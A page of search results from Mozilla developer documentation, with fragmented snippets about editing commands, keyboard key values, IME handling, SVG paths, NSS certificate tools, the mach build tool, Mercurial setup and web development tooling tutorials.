mmandmgr)); 2. call a co
mmand -- doco
mmand: co
mmandmanager->doco
mmand(aco
mmand, aco
mmandparams); aco
mmand is a const char * to a supported co
mmand name (see list below). aco
mmandparams could possibly be a null pointer or a pointer to a valid structure filled with relative parameters to aco
mmand (see list below for legal params). 3. verify if a co
mmand is enabled -- isco
mmandenabled: co
mmandmanager->isco
mmanddisabled(aco
mmand, retval) 4. ...
...And 71 more matches
Index - Learn web development
this set of articles aims to provide complete beginners to web development with all that they need to start coding websites. 2 accessibility aria, accessibility, articles, beginner, css, codingscripting, html, javascript, landing, learn, module learning some html, css, and javascript is useful if you want to become a web developer. beyond mechanical use, it's important to learn how to use these technologies responsibly so that all readers might use your creations on the web. ...
...trated throughout the html, css, and javascript topics), cross browser testing, and some tips on enforcing accessibility from the start. we'll cover accessibility in special detail. 3 accessible multimedia accessibility, article, audio, beginner, codingscripting, html, images, javascript, learn, multimedia, video, captions, subtitles, text tracks this chapter has provided a su
mmary of accessibility concerns for multimedia content, along with some practical solutions. 4 assessment: accessibility troubleshooting accessibility, assessment, beginner, css, codingscripting, html, javascript, learn, wai-aria in the assessment for this module, we present to you a simple site with a number of accessibility issues that you need to diagnose and fix. 5 ...
...le will help to fill gaps in this knowledge, but this article has taken care of the basics. next up we'll explore css and javascript, and how accessibility is affected by their good or bad use. 8 mobile accessibility accessibility, article, beginner, codingscripting, learn, mobile, responsive, screenreader, touch in this article, we have provided you with some details about co
mmon mobile accessibility-specific issues and how to overcome them. we also took you through the usage of the most co
mmon screenreaders to aid you in accessibility testing. 9 test your skills: html accessibility accessibility, beginner, html, learn, test your skills this aim of this skill test is to assess whether you've understood our html: a good basis for accessibility articl...
...And 61 more matches
Key Values - Web APIs
the tables below list the standard key values in various categories of key, with an explanation of what the key is typically used for. corresponding virtual keycodes for co
mmon platforms are included where available. learn how to use these key values in javascript using keyboardevent.key special values | modifier keys | whitespace keys | navigation keys | editing keys | ui keys | device keys | ime and composition keys | function keys | phone keys | multimedia keys | audio control keys | tv control keys | media controller keys | speech recognition keys | document keys | application selector keys | browser control keys | numeric keypad keys special values values of key which have special meanings other than identifying a specific key or character. keyboardevent.key valu...
...ction lock) key.toggles the function key mode described by "fn" on and off. often handled in hardware so that events aren't generated for this key. "hyper" [4] the hyper key. gdk_key_hyper_l (0xffed) gdk_key_hyper_r (0xffee) qt::key_hyper_l (0x01000056) qt::key_hyper_r (0x01000057) "meta" [1] the meta key. allows issuing special co
mmand inputs. this is the windows logo key, or the co
mmand or ⌘ key on mac keyboards. vk_lwin (0x5b) vk_rwin (0x5c) kvk_co
mmand (0x37) kvk_rightco
mmand (0x36) gdk_key_meta_l (0xffe7) gdk_key_meta_r (0xffe8) qt::key_meta (0x01000022) keycode_meta_left (117) keycode_meta_right (118) "numlock" the numlock (number lock) key. toggles the numeric keypad betwee...
...k_delete (0x33) gdk_key_backspace (0xff08) qt::key_backspace (0x01000003) keycode_del (67) "clear" the clear key. removes the currently selected input. vk_clear (0x0c) vk_oem_clear (0xfe) kvk_ansi_keypadclear (0x47) gdk_key_clear (0xff0b) qt::key_clear (0x0100000b) keycode_clear (28) "copy" the copy key (on certain extended keyboards). appco
mmand_copy gdk_key_copy (0x1008ff57) qt::key_copy (0x010000cf) "crsel" [3] the cursor select key, crsel. vk_crsel (0xf7) gdk_key_3270_cursorselect (0xfd1c) "cut" the cut key (on certain extended keyboards). appco
mmand_cut gdk_key_cut (0x1008ff58) qt::key_cut (0x010000d0) "delete" [2] the delete key, del. vk_delete ...
...And 59 more matches
IME handling guide
ime is an abbreviation of input method editor. this is a technical term from windows but these days, this is used on other platforms as well. ime is a helper application of a user's text input. it handles native key events before or after focused application (depending on the platform) and creates a composition string (a.k.a. preedit string), suggests a list of what the user attempts to input, co
mmits composition string as a selected item off the list and co
mmits composition string without any conversion. ime is used by chinese, japanese, korean and taiwan users for inputting chinese characters because the number of them is beyond thousands and cannot be input from the keyboard directly. however, especially on mobile devices nowadays, ime is also used for inputting latin languages like auto...
...er underline is called "selected clause"). basically, composition string and each clause style is rendered by gecko. and the drop down menu is created by ime. each clause is represented with selection in the editor. from chrome script, you can check it with nsiselectioncontroller. in native code, you can access it with either nsiselectioncontroller or mozilla::selectiontype (the latter is reco
mmended because of type safer). and editor sets these ime selections from mozilla::textrangetype which are sent by mozilla::widgetcompositionevent as mozilla::textrangearray. following table explains the mapping between them. selection types of each clause of composition string or caret nsiselectioncontroller mozilla::selectiontype mozilla::textrangetype caret se...
...widgetkeyboardevent for making the behavior on each platform exactly same. for example, if widgetkeyboardevent should be dispatched when there is a composition is managed by this class in xp level. first of use, native ime handlers get the rights to use texteventdispatcher with a call of beginnativeinputtransaction(). then, startcomposition(), setpendingcomposition(), flushpendingcomposition(), co
mmitcomposition(), etc. are available if beginnativeinputtransaction() return true. these methods automatically manage composition state and dispatch widgetcompositionevent properly. this is also used by mozilla::textinputprocessor which can emulates (or implements) ime with chrome script. so, native ime handlers using this class means that the dispatching part is also tested by automated tests. m...
...And 39 more matches
d - SVG: Scalable Vector Graphics
the d attribute defines a path to be drawn. a path definition is a list of path co
mmands where each co
mmand is composed of a co
mmand letter and numbers that represent the co
mmand parameters. the co
mmands are detailed below. three elements have this attribute: <path>, <glyph>, and <missing-glyph> html,body,svg { height:100% } <svg viewbox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"> <path fill="none" stroke="red" d="m 10,30 a 20,20 0,0,1 50,30 a 20,20 0,0,1 90,30 q 90,60 50,90 q 10,60 10,30 z" /> </svg> path for <path>, d is a string containing a series of path co
mmands that define the path to be drawn. value <string> default value none animatable yes glyph warning: as of svg2 <glyph> is deprecate...
... value <string> default value none animatable yes note: the point of origin (the coordinate 0,0) is usually the upper left corner of the context. ...
... default value none animatable yes note: the point of origin (the coordinate 0,0) is usually the upper left corner of the context. however the <glyph> element has its origin in the bottom left corner of its letterbox. missing-glyph warning: as of svg2 <missing-glyph> is deprecated and shouldn't be used. ...
...And 33 more matches
NSS tools : certutil
it can specifically list, generate, modify, or delete certificates, create or change the password, generate new public and private key pairs, display the contents of the key database, or delete key pairs within the key database. ...
...base. certificate issuance, part of the key and certificate management process, requires that keys and certificates be created in the key database. this document discusses certificate and key database management. for information on the security module database management, see the modutil manpage. options and arguments running certutil always requires one and only one co
mmand option to specify the type of certificate operation. each option may take arguments, anywhere from none to multiple arguments. the co
mmand option -h will list all the co
mmand options available and their relevant arguments. co
mmand options -a add an existing certificate to a certificate database. the certificate database should already exist; if one...
... this requires the -i argument. -c create a new binary certificate file from a binary certificate request file. ...
...And 31 more matches
Browser Detection and Cross Browser Support - Archive of obsolete content
ore current article writing forward-compatible websites to find modern informations. improper browser detection can lead to web maintenance nightmares. rethinking the basics of when and how to detect user agents is crucial to creating maintainable, cross browser web content. this article reviews several approaches to browser detection, their usefulness in specific circumstances to arrive at a co
mmon sense approach to browser detection. quick tip if you must determine if a visitor is using a gecko-based browser, simply test navigator.product == 'gecko' or look for the string 'gecko/' in the navigator.useragent. note that some other browsers such as safari are reporting (like gecko) in their user agent strings and can confuse simple tests. introduction in an ideal world, we could autho...
... author html, xml, css and javascript and only worry about the w3c and ecma standards. however, we don't quite live in such a world yet. due to bugs, incomplete implementations of the standards and legacy browsers, web developers must be able to determine which browser a visitor is using and provide the appropriate content and scripting code path. although browser detection is perhaps the most co
mmon scripting task that every web developer faces, it seems that the variety of different strategies in use for detecting browsers is unlimited. as a member of the netscape evangelism team who has spent over a year investigating existing web content, i can say without a doubt that most compatibility problems found on the web today are due to a lack of understanding of the standards combined with in...
...m who has spent over a year investigating existing web content, i can say without a doubt that most compatibility problems found on the web today are due to a lack of understanding of the standards combined with inadequate and inappropriate browser detection strategies. this article is intended to provide an overview of browser detection strategies and best practices. ...
...And 30 more matches
mach
mach also requires python 2.7. mach itself is python 3 compliant, but modules used by mach likely are not python 3 compliant - so stick to python 2.7. running from the root of the source tree checkout, you should just be able to type: $ ./mach if all is well, you should see a help message. of course, in a random dir you just get a cryptic error message to improve the experience. ...
...ull help: $ ./mach help try building the tree: $ ./mach build if you get error messages, make sure that you have all of the build requisites for your system. if it works, you can look at compiler warnings: $ ./mach warnings-list try running the program: $ ./mach run try running your program in a debugger: $ ./mach run --debug try running some tests: $ ./mach xpcshell-test services/co
mmon/tests/unit/ or run an individual test: $ ./mach mochitest browser/base/content/test/general/browser_pinnedtabs.js you run mach from the source directory, so you should be able to use your shell's tab completion to tab-complete paths to tests. mach figures out how to execute the tests for you! check out the linting and analysis tools: $ ./mach lint $ ./mach static-analysis mach and mozconf...
... mach build adding mach to your shell's search path if you add mach to your path (by modifying the path environment variable to include your source directory, or by copying mach to a directory in the default path like /usr/local/bin) then you can type mach anywhere in your source directory or your objdir. ...
...And 29 more matches
CSS3 - Archive of obsolete content
nsitions or animations, as well as new layouts like multi-columns, flexible box or grid layouts. experimental parts are vendor-prefixed and should either be avoided in production environments, or used with extreme caution as both their syntax and semantics can change in the future. modules and the standardization process css level 2 needed 9 years, from august 2002 to june 2011 to reach the reco
mmendation status. this was due to the fact that a few secondary features held back the whole specification. in order to accelerate the standardization of non-problematic features, the css working group of the w3c, in a decision referred as the beijing doctrine, divided css in smaller components called modules . each of these modules is now an independent part of the language and moves towards stand...
...ures held back the whole specification. in order to accelerate the standardization of non-problematic features, the css working group of the w3c, in a decision referred as the beijing doctrine, divided css in smaller components called modules . each of these modules is now an independent part of the language and moves towards standardization at its own pace. while some modules are already w3c reco
mmendations, other still are early working drafts. new modules are also added when new needs are identified. formally, there is no css3 standard per se . each module being standardized independently, the standard css consists of css2.1 amended and extended by the completed modules, not necessary all with the same level number. at each point of time, a snapshot of the css standard can be defined, ...
...10, 2015, 2017, and 2018. though today no module with a level greater than 3 is standardized, this will change in the future. some modules, like selectors 4 or css borders and backgrounds level 4 already have an editor's draft, though they haven't yet reached the first published working draft status. css modules status completed modules a few css modules already became a standard as a w3c reco
mmendation. these should be no more changes. css color module level 3 reco
mmendation since june 7th, 2011 adds the opacity property, and the hsl(), hsla(), rgba() and rgb() functions to create <color> values. it also defines the currentcolor keyword as a valid color. the transparent color is now a real color (thanks to the support for the alpha channel) and is a now a...
...And 26 more matches
Introducing a complete toolchain - Learn web development
ipt languages. objective: to solidify what we've learnt so far by working through a complete toolchain case study. there really are unlimited combinations of tools and ways to use them, what you see in this article and the next is only one way that the featured tools can be used for a project. note: it's also worth repeating that not all of these tools need to be run on the co
mmand line. many of today's code editors (such as vs code and atom) have integration support for a lot of tools via plugins. introducing our case study the toolchain that we are creating in this article will be used to build and deploy a mini site that lists data (taken from one of nasa's open apis) concerning potentially hazardous space objects that threaten our existence on earth! it looks like...
...des the tools we're going to install that contribute to our toolchain, we mentioned two web services in the above list of tools. let's take this opportunity to make sure we are set up with them before we continue. you will need to create accounts with each of github and netlify if you wish to complete the tutorial. as mentioned previously, github is a source code repository service that adds co
mmunity features such as issue tracking, following project releases and much more. in the next chapter we will push to a github code repository, which will cause a cascade effect that (should) deploy all the software to a home on the web. netlify is a hosting service for static websites (that is, websites that entirely consist of files that do not change in real time), which lets us deploy multiple...
...ore for git repositories (plus a number of useful tools for working with them). note that, although we're using github in this chapter, there are several alternatives including gitlab and bitbucket, and you could even host your own git repositories. using revision control in your projects and including it as part of the toolchain will help manage the evolution of your code. it offers a way to "co
mmit" blocks of work as you progress, along with co
mments such as "x new feature implemented", or "bug z now fixed due to y changes". revision control can also allow you to branch out your project code, creating a separate version and try out new functionality on, without those changes affecting your original code. finally, it can help you undo changes or revert your code back to a time "when it w...
...And 26 more matches
certutil
it can also list, generate, modify, or delete certificates within the database, create or change the password, generate new public and private key pairs, display the contents of the key database, or delete key pairs within the key database. ...
...he certificate database. this document discusses certificate and key database management. for information security module database management, see the modutil manpages. options and arguments running certutil always requires one (and only one) option to specify the type of certificate operation. each option may take arguments, anywhere from none to multiple arguments. ...
...nd key database management. for information security module database management, see the modutil manpages. options and arguments running certutil always requires one (and only one) option to specify the type of certificate operation. each option may take arguments, anywhere from none to multiple arguments. run the co
mmand option and -h to see the arguments available for each co
mmand option. options options specify an action and are uppercase. -a add an existing certificate to a certificate database. the certificate database should already exist; if one is not present, this option will initialize one by default. -b run a series of co
mmands from the specified batch file. this requires the -i argument. ...
...And 26 more matches
Fundamental text and font styling - Learn web development
seudo-element like ::first-letter (selects the first letter of an element's text), ::first-line (selects the first line of an element's text), or ::selection (selects the text currently highlighted by the cursor.) fonts let's move straight on to look at properties for styling fonts. ...
...rst-line (selects the first line of an element's text), or ::selection (selects the text currently highlighted by the cursor.) fonts let's move straight on to look at properties for styling fonts. in this example we'll apply some different css properties to the same html sample, which looks like this: <h1>to
mmy the cat</h1> <p>well i remember it as though it were a meal ago...</p> <p>said to
mmy the cat as he reeled back to clear whatever foreign matter may have nestled its way into his mighty throat. many a fat alley rat had met its demise while staring point blank down the cavernous barrel of this awesome prowling machine. truly a wonder of nature this urban predator — to
mmy the cat had many a story to tell. but it was a rare occasion such as this that he did.</p> you can find th...
...olor of the foreground content of the selected elements (which is usually the text, but can also include a couple of other things, such as an underline or overline placed on text using the text-decoration property). ...
...And 25 more matches
Introduction to automated testing - Learn web development
previous overview: cross browser testing next manually running tests on several browsers and devices, several times per day, can get tedious, and time-consuming. to handle this efficiently, you should become familiar with automation tools. ...
...owser test automation apps such as lambdatest, sauce labs, browserstack, and testingbot. prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high level principles of cross-browser testing. objective: to provide an understanding of what automated testing entails, how it can make your life easier, and how to make use of some of the co
mmercial products that make things easier. automation makes things easy throughout this module we have detailed loads of different ways in which you can test your websites and apps, and explained the sort of scope your cross-browser testing efforts should have in terms of what browsers to test, accessibility considerations, and more. sounds like a lot of work, doesn't it? we agree — testi...
...n tests and clean up code during your build process. this is a great way to perform tasks like linting and minifying code, adding in css prefixes or transpiling nascent javascript features for maximum cross-browser reach, and so on. use a browser automation system like selenium to run specific tests on installed browsers and return results, alerting you to failures in browsers as they crop up. co
mmercial cross-browser testing apps like lambdatest, sauce labs, browserstack, and testingbot are based on selenium, but allow you to access their set up remotely using a simple interface, saving you the hassle of setting up your own testing system. we will look at how to set up your own selenium-based testing system in the next article. in this article, we'll look at how to set up a task runner, ...
...And 25 more matches
Package management basics - Learn web development
why waste time reinventing the wheel? moreover, a reliable third-party dependency will likely have been tested in a lot of different situations, making it more robust and cross-browser compatible than your own solution. a project dependency can be an entire javascript library or framework — such as react or vue — or a very small utility like our human-readable date library, or it can be a co
mmand line tool such as prettier or eslint, which we talked about in previous articles. without modern build tools, dependencies like this might be included in your project using a simple <script> element, but this might not work right out of the box and you will likely need some modern tooling to bundle your code and dependencies together when they are released on the web. a bundle is the term tha...
...pplication (this tends to be done using javascript modules, another subject that is worth reading up on and understanding). doing the same thing for all of the packages' sub-dependencies, of which there could be tens, or hundreds. removing all the files again if you want to remove the packages. in addition, package managers handle duplicate dependencies (something that becomes important and co
mmon in front-end development). in the case of npm (and javascript- and node-based package managers) you have two options for where you install your dependencies. as we touched on in the previous article, dependencies can be installed globally or locally to your project. although there tend to be more pros for installing globally, the pros for installing locally are more important — such as code ...
...ser experience. there are also a number of other emerging clients, such as pnpm. package registries for a package manager to work, it needs to know where to install packages from, and this comes in the form of a package registry. the registry is a central place that a package is published to and thus can be installed from. npm, as well as being a package manager, is also the name of the most co
mmonly-used package registry for javascript packages. the npm registry exists at npmjs.com. npm is not the only option. you could manage your own package registry — products like microsoft azure allow you to create proxies to the npm registry (so you can override or lock certain packages), github also offers a package registry service, and there will be likely more options appearing as time goes ...
...And 25 more matches
NSS Tools modutil
you can use the tool to add and delete pkcs #11 modules, change passwords, set defaults, list module contents, enable or disable slots, enable or disable fips 140-2 compliance, and assign default providers for cryptographic operations. this tool can also create key3.db, cert8.db, and secmod.db security database files. ...
... generate and manage certificates and the certificate database. this document discusses security module database management. for information on certificate database and key database management, see using the certificate database tool. availability this tool is known to build on solaris 2.5.1 (sunos 5.5.1) and windows nt 4.0. syntax to run the security module database tool, type the co
mmand modutil option [arguments] where option and arguments are combinations of the options and arguments listed in the following section. each co
mmand takes one option. each option may take zero or more arguments. to see a usage string, issue the co
mmand without options. options and arguments options specify an action. option arguments modify an action. the options and arguments for the m...
...use the -dbdir directory argument to specify a directory. ...
...And 25 more matches
Back to the Server: Server-Side JavaScript On The Rise - Archive of obsolete content
engines. the two most well established engines are spidermonkey and rhino, both currently maintained by the mozilla foundation. spidermonkey is the code name for the first ever javascript engine, an open source c implementation which can be found embedded in leading software products such as mozilla firefox, adobe acrobat, and aptana jaxer. rhino is a java implementation of javascript which is co
mmonly embedded in java applications to expose scripting capability. the helma web application framework is an example of rhino in use. the dojo toolkit also has capabilities that run in rhino. let’s take a closer look at rhino and its importance to the javascript developer. rhino offers a unique opportunity for the javascript developer to tap into the power of java classe...
...ava.sql namespace in the script. the appropriate database driver for mysql is loaded and the connection string to a database named rhino on my local machine is configured using the user account urhino with the password of prhino. the sql statement is prepared, executed, and printed with the help of the metadata obtained from the resultset. sample output is shown in listing 2. id: 1 first_name: sa
mmy last_name: ha
mm department: it title: network administrator ---------- id: 2 first_name: nigel last_name: bitters department: finance title: accounting manager ... it’s clear to see that with just a few lines of code, we can easily take advantage of sql data stores in javascript. the sample script in listing 1 could be factored out to it’s own function to retrieve t...
...y of a server-side language into javascript. this accounts for added simplicity and promotes rapid development methodologies. managing context to take advantage of all the operating contexts of jaxer, you'll need to specify how your scripts should behave using the runat attribute of the script tag (or by setting a runat property on a javascript function object). the co
mmon values for this attribute are explained below, though there are more than just these. runat=”client” – code contained in this block is restricted to execution client-side, which is also what happens if no runat attribute is specified. runat=”server” – code contained in this block is restricted to execution server-side. runat=”both” – c...
...And 24 more matches
sslfnc.html
format described in the mdn style guide. if you are inclined to help with this migration, your help would be very much appreciated. upgraded documentation may be found in the current nss reference ssl functions chapter 4 ssl functions this chapter describes the core ssl functions. ssl initialization functions ssl export policy functions ssl configuration functions ssl co
mmunication functions ssl functions used by callbacks ssl handshake functions nss shutdown function deprecated functions ssl initialization functions this section describes the initialization functions that are specific to ssl. for a complete list of nss initialization functions, see initialization. note that at least one of the functions listed in ssl export policy functions must also...
... will not do simultaneous reads and writes. an application that wishes to do sumultaneous reads and writes should set this to pr_true. in nss 2.8, the ssl_enable_fdx option only affects the behavior of non-blocking ssl sockets. see the description below for more information on this option. ssl_enable_ssl3 enables the application to co
mmunicate with ssl v3. factory setting is on. if you turn this option off, an attempt to establish a connection with a peer that only understands ssl v3 will fail. ssl_enable_ssl2 enables the application to co
mmunicate with ssl v2. factory setting is on. if you turn this option off, an attempt to establish a connection with a peer that only understands ssl v2 will fail. ss...
...s as long as the current application program is running. this function must be called once for each default value you want to change from the factory setting. to change a value in a socket that is already open, use ssl_optionset. keep the following in mind when deciding on the operating parameters you want to use with a particular socket: enabling the ssl_require_certificate option is not reco
mmended. if the client has no certificate and this option is enabled, the client's connection terminates with an error. the user is likely to think something is wrong with either the client or the server, and is unlikely to realize that the problem is the lack of a certificate. it is better to allow the ssl handshake to complete and then have your application return an error message to the client th...
...And 24 more matches
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
or linux systems (i suspect mac osx would be fine too). instead of configuring end user individual preferences files (~/.mozilla/default/randomdir/prefs.js) we now use a centralized default set of preferences. this centralized preference file can lock preferences (lockpref) or initialize them (defaultpref) based on environment variables (user, home...) and/or ldap queries (fetch email address, co
mmon name , language, homepage etc...) from the enterprise directory. central configuration file that feature is provided through a javascript file. file location (not tested since 2012 ...) in thunderbird , firefox, the javascript preference file that calls the centralized preference file is located in $install_dir_moz_app/defaults/pref, for example in thunderbird this would be repectively for ...
...me"); var env_home = getenv("homepath"); } var env_mozdebug= getenv("mozilla_debug"); // 2) define here (because if set after "3)" below it doesn't work !) processldapvalues which is eventually called by getldapattributes() just below, // check getldapattributes() code from $mozilla_home/defaults/autoconfig/prefcalls.js to see the inside call to "user defined" processldapvalues /* co
mmented all this section about ldap calls, not supported in ff5 packages :-( function processldapvalues (values) { if(values) { // set the global var with the values returned from the ldap query ldap_values = values; var uid = getldapvalue ( values ,"uid" ); var cn = getldapvalue ( values ,"cn" ); var mail = getldapvalue ( values ,"mail" ); var url = getldapv...
...tartup.homepage", "http://gaspar.it-sudparis.eu" ); // 3) call ldap servers to get ldap attributes (mail & cn) , this will finally call processldapvalues , "2)" just above. // getldapattributes("ldap2.int-evry.fr","ou=people,dc=int-evry,dc=fr","uid=" + env_user,"uid,cn,mail,labeleduri"); // close the try, and call the catch() } catch(e) {displayerror("lockedpref", e);} if ldap call are unco
mmented in the preference file above, then i get a popup with: netscape.cfg/autoconfig failed. please contact your system administrator. error: getldapattibutes failed: [exception... "could not convert javascript argument arg 0 [nsisupports.queryinterface]" nsresult: "0x80570009 (ns_error_xpc_bad_convert_js)" location: "js frame :: prefcalls.js :: getldapattributes :: line 177" data: no] auto...
...And 23 more matches
Midas
internet explorer supports the ability to make an entire document editable by setting the designmode property of the document object; this is how midas is invoked in gecko. ...
...load the editable document into an iframe and do the bulk of the scripting in the parent document. according to standards, the iframe element has the contentdocument property that refers to the document in the inline frame. it also has a property called contentwindow that refers to the window object inside the inline frame. this also avoids problems with bug 198155. in addition to the built-in co
mmands, advanced editing can be done by manipulating the selection and range objects. it is beneficial to be familiar with these objects when working with an editable document. examples this example shows the basic structure described in the notes section : <html> <head> <title>simple edit box</title> </head> <body> <iframe id="midasform" src="about:blank" onload="this.contentdocu...
...s. it is beneficial to be familiar with these objects when working with an editable document. ...
...And 23 more matches
Index
2 creating javascript tests automated testing, build documentation, guide, qa, spidermonkey in which test suite does your new test belong? 3 creating javascript jstest reftests ecmascript, guide, javascript, test in the js/src/tests directory, there are a few important subdirectories. ...
...key. it can be read as something like an "ideal future state" for the engine. that means the code as it is today won't match this document, and that's ok. whenever practical, new code and changes should move code closer to the ideal future. and of course, the idea of the future is always evolving in time as things change and we learn more. 6 gc rooting guide spidermonkey no su
mmary! 7 gcintegration developing mozilla, firefox, garbage collection, intermediate, intro, jsapi, needsupdate, spidermonkey, tools, memory the spidermonkey garbage collector (gc) will be changing a lot in the future. this page is intended to explain the changes that are happening, with a focus on how they will affect gecko code that uses jsapi. at a high level, there are three...
...spidermonkey's optimizing jit, ionmonkey, uses different optimization strategies to speed up various operations. the most typical operations that are relevant for fast program execution are property accesses and function calls. 14 jit optimization strategies junk, spidermonkey spidermonkey's optimizing jit, ionmonkey, uses various strategies to optimize operations. the most co
mmonplace operations that are relevant for fast program execution are property accesses and function calls. 15 jsapi cookbook spidermonkey this article shows the jsapi equivalent for a tiny handful of co
mmon javascript idioms. 16 jsapi user guide jsapi, spidermonkey this document explains how to embed spidermonkey, the mozilla javascript engine, in your c++ ...
...And 23 more matches
Setting up your own test automation environment - Learn web development
previous overview: cross browser testing in this article, we will teach you how to install your own automation environment and run your own tests using selenium/webdriver and a testing library such as selenium-webdriver for node. we will also look at how to integrate your local testing environment with co
mmercial tools like the ones discussed in the previous article. prerequisites: familiarity with the core html, css, and javascript languages; an idea of the high-level principles of cross browser testing, and automated testing. objective: to show how to set up a selenium testing environment locally and run tests with it, and how to integrate it with tools like lambdatest, sauce labs, and browserstack. selenium selenium is the most popular br...
...ways, but the best way to use selenium is via webdriver, a powerful api that builds on top of selenium and makes calls to a browser to automate it, carrying out actions such as "open this web page", "move over this element on the page", "click this link", "see whether the link opens this url", etc. this is ideal for running automated tests. how you install and use webdriver depends on what progra
mming environment you want to use to write and run your tests. most popular environments have available a package or framework that will install webdriver and the bindings required to co
mmunicate with webdriver using this language, for example, java, c#, ruby, python, javascript (node), etc. see setting up a selenium-webdriver project for more details of selenium setups for different languages. dif...
...see platforms supported by selenium for more information on where to get browser drivers from, etc. ...
...And 22 more matches
Deploying our app - Learn web development
s can be performed inside of netlify and if the build is successful, the website changes will be deployed. although netlify offers a drag and drop deployment service, we are intending to trigger a new deployment to netlify each time we push to a github repo. it's exactly these kinds of connected services that we would encourage you to look for when deciding on your own build toolchain. we can co
mmit our code and push to github and the updated code will automatically trigger the entire build routine. if all is well, we get a live change deployed automatically. the only action we need to perform is that initial "push". however, we do have to set these steps up, and we'll look at that now. the build process again, because we're using parcel for development, the build option is extremely si...
...we want is for the build to happen automatically and the result of the dist directory to be deployed live on our website. this is where our code, github, and netlify need to be set up to talk to one another, so that each time we update our github code repository, netlify will automatically pick up the changes, run the build tasks, and finally release a new update. we're going to add the build co
mmand to our package.json file as an npm script, so that the co
mmand npm run build will trigger the build process. this step isn't necessary, but it is a good best practice to get into the habit of setting up — across all our projects, we can then rely on npm run build to always do the complete build step, without needing to remember the specific build co
mmand arguments for each project. ope...
...is step isn't necessary, but it is a good best practice to get into the habit of setting up — across all our projects, we can then rely on npm run build to always do the complete build step, without needing to remember the specific build co
mmand arguments for each project. open the package.json file in your project's root directory, and find the scripts property. we'll add a build co
mmand that we can run to build our code. add the following line to your project now: "scripts": { ... ...
...And 22 more matches
NSS tools : signtool
since being signed if you have a signing certificate, you can use netscape signing tool to digitally sign files and package them as a jar file. an object-signing certificate is a special kind of certificate that allows you to associate your digital signature with one or more files. an individual file can potentially be signed with multiple digital signatures. for example, a co
mmercial software developer might sign the files that constitute a software product to prove that the files are indeed from a particular company. a network administrator manager might sign the same files with an additional digital signature based on a company-generated certificate to indicate that the product is approved for use within the company. the significance of a digital si...
...t. netscape certificate management system provides a complete management solution for creating, deploying, and managing certificates, including cas that issue object-signing certificates. you must also have a certificate for the ca that issues your signing certificate before you can sign files. if the certificate authority's certificate isn't already installed in your copy of co
mmunicator, you typically install it by clicking the appropriate link on the certificate authority's web site, for example on the page from which you initiated enrollment for your signing certificate. this is the case for some test certificates, as well as certificates issued by netscape certificate management system: you must download the the ca certificate in addition to obtainin...
..., for example on the page from which you initiated enrollment for your signing certificate. this is the case for some test certificates, as well as certificates issued by netscape certificate management system: you must download the the ca certificate in addition to obtaining your own signing certificate. ca certificates for several certificate authorities are preinstalled in the co
mmunicator certificate database. when you receive an object-signing certificate for your own use, it is automatically installed in your copy of the co
mmunicator client software. co
mmunicator supports the public-key cryptography standard known as pkcs #12, which governs key portability. you can, for example, move an object-signing certificate and its associated private key from one...
...And 22 more matches
Message manager overview
in multiprocess firefox there are (at least) two processes: the chrome process, also called the parent process, runs the browser ui (chrome) code and code inserted by extensions one or more content processes, also called child processes. these processes run web content. message managers are designed to enable chrome-privileged javascript code in one process to co
mmunicate with chrome-privileged javascript code in a different process. this article describes the different types of message manager, how to access them, and at a high level, what sorts of things you can use them for. at the top level, there are two different sorts of message managers: frame message managers: these enable chrome process code to load a script into a browser frame (essentially, a single browser t...
...in the content process. these scripts are called frame scripts, and as the name suggests, they are scoped to a specific browser frame. if chrome code wants to run code in the content process so it can access web content, this is usually the sort of message manager to use. process message managers: these correspond to process boundaries, and enable code running in the parent (chrome) process to co
mmunicate with code running in the child (content) process. from firefox 38 onwards, they also enable code running in the parent process to load process scripts into the child process. these are like frame scripts, except they are global to the child process. process scripts are most likely to be useful when an extension wants to run some code only once in the content process, to access some global ...
...ple, to register an observer or a content policy. frame message managers in multiprocess firefox, when chrome code needs to interact with web content, it needs to: factor the code that needs direct access to content into separate scripts, which are called "frame scripts" use a frame message manager to load these frame scripts into the content process use the frame message manager api to co
mmunicate with the frame script some older articles on multiprocess firefox and the message manager might refer to "content scripts" instead of "frame scripts". this usage is deprecated because the add-on sdk uses "content script" to refer to a similar but different kind of script. so fundamentally, frame message managers enable chrome code to: load a script into a frame (essentially, a sing...
...And 21 more matches
Localizing with Mercurial
of firefox, thunderbird and seamonkey includes working with mercurial. if the documentation is incomplete or you have questions, please drop by the #l10n or #hg channels on irc.mozilla.org. the mercurial faq are also worth a read, should you run into trouble. ...
...nstalling and configuring mercurial, instructions on receiving an hg account co
mmit priviledges, as well as a few tasks you can complete without account priviledges. installing mercurial follow the instructions below to install mercurial on your system. once you've installed mercurial, we'll walk through the steps to configure it. mercurial on linux you can easily install mercurial from the co
mmand line by issuing one of the following co
mmands. choose the appropriate co
mmand for your distribution and make sure to run as root. # debian/ubuntu $ apt-get install mercurial # fedora $ yum install mercurial # gentoo $ emerge mercurial # arch linux $ pacman -s mercurial # opensolaris $ pkg install sunwmercurial if you prefer a graphical interface, you can download and install mercurialec...
...pen a terminal window and enter hg --version. if you see a message about the version of mercurial (e.g. mercurial distributed scm (version 1.3.1)), you have installed mercurial successfully! more details for more details on installing hg on linux systems, refer to the instructions on mercurial's download page. ...
...And 21 more matches
Enc Dec MAC Using Key Wrap CertReq PKCS10 CSR
er "-----begin certificate for signature verification-----" #define ns_cert_vfy_trailer "-----end certificate for signature verification-----" #define ns_sig_header "-----begin signature-----" #define ns_sig_trailer "-----end signature-----" #define ns_cert_header "-----begin certificate-----" #define ns_cert_trailer "-----end certificate-----" /* sample 6 co
mmands */ typedef enum { generate_csr, add_cert_to_db, save_cert_to_header, encrypt, decrypt, sign, verify, unknown } co
mmandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4, pubkey = 5, lab = 6, certenc= 7, certvfy= 8, sig = 9 } headertype; /* * print usage message and exit ...
...r> -u <issuernickname> [-x <\"\">] -m <serialnumber> ] | ", "-n <nickname> -b <headerfilename> | ", "-b <headerfilename> -i <ipfilename> -e <encryptfilename> | ", "-b <headerfilename> -i <ipfilename> | ", "-b <headerfilename> -i <ipfilename> | ", "-b <headerfilename> -e <encryptfilename> -o <opfilename> \n"); fprintf(stderr, "co
